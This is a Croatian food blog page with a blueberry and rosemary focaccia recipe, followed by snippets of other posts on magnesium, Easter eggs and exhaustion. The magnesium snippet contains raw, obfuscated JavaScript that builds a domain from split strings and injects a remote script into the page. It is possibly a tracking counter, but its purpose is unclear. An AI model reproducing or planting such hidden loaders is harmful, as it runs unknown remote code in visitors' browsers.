FOCACCIA S BOROVNICAMA I RUŽMARINOM




Focaccia s borovnicama i ružmarinom 



Ova neobična, ali iznimno ukusna focaccia s borovnicama i ružmarinom spaja slatkoću sočnih borovnica s aromatičnim ružmarinom i maslinovim uljem.




Focaccia s borovnicama i ružmarinom 


Sastojci:

  • 7 g suhog kvasca
  • 240 ml mlijeka (sobne temperature)
  • 240 ml tople vode
  • 135 ml ekstradjevičanskog maslinova ulja (podijeljeno)
  • 1 žlica krupne soli
  • 1/2 čajne žličice cvijeta soli
  • 2 žlice svježeg ružmarina, nasjeckanog (podijeljeno)
  • 750 g glatkog brašna
  • 300 g borovnica
  • 1 čajna žličica šećera



Priprema:

  1. U veću zdjelu (ili zdjelu samostojećeg miksera) stavite suhi kvasac i prelijte toplom vodom. Ostavite 5 do 8 minuta da se kvasac aktivira i zapjeni.
  2. Dodajte mlijeko, 60 ml maslinova ulja, žlicu soli i žlicu ružmarina. Postupno umiješajte brašno uz miješanje (nastavkom za tijesto ili ručno) dok ne dobijete glatko i elastično tijesto. Mijesite oko 10 do 12 minuta – tijesto treba biti mekano i tek lagano ljepljivo. Po potrebi dodajte još malo brašna.
  3. Pokrijte tijesto kuhinjskom krpom ili prozirnom folijom i ostavite na sobnoj temperaturi da se diže dok ne udvostruči volumen, oko 1 sat i 15 do 1 sat i 30 minuta.
  4. Lim za pečenje (otprilike 30 x 43 cm) premažite s jednom žlicom maslinova ulja. Dignuto tijesto lagano premijesite, prebacite na lim i rukama ga ravnomjerno rasporedite. Ako se tijesto vraća, pustite ga da se odmori 10 minuta pa nastavite. Pokrijte i ostavite da se ponovno diže 45 do 60 minuta.
  5. Zagrijte pećnicu na 220 stupnjeva.
  6. Prstima utisnite udubljenja po cijeloj površini tijesta. Ravnomjerno rasporedite borovnice, zatim pokapajte s dvije žlice maslinova ulja. Pomiješajte preostali ružmarin i šećer pa pospite po vrhu.
  7. Pecite 25 do 30 minuta, dok focaccia ne poprimi lijepu zlatnu boju.
  8. Odmah nakon pečenja premažite s preostale dvije žlice maslinova ulja i pospite cvijetom soli. Ostavite da se hladi u limu oko 15 minuta, zatim izvadite, narežite na komade i poslužite toplo ili na sobnoj temperaturi



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više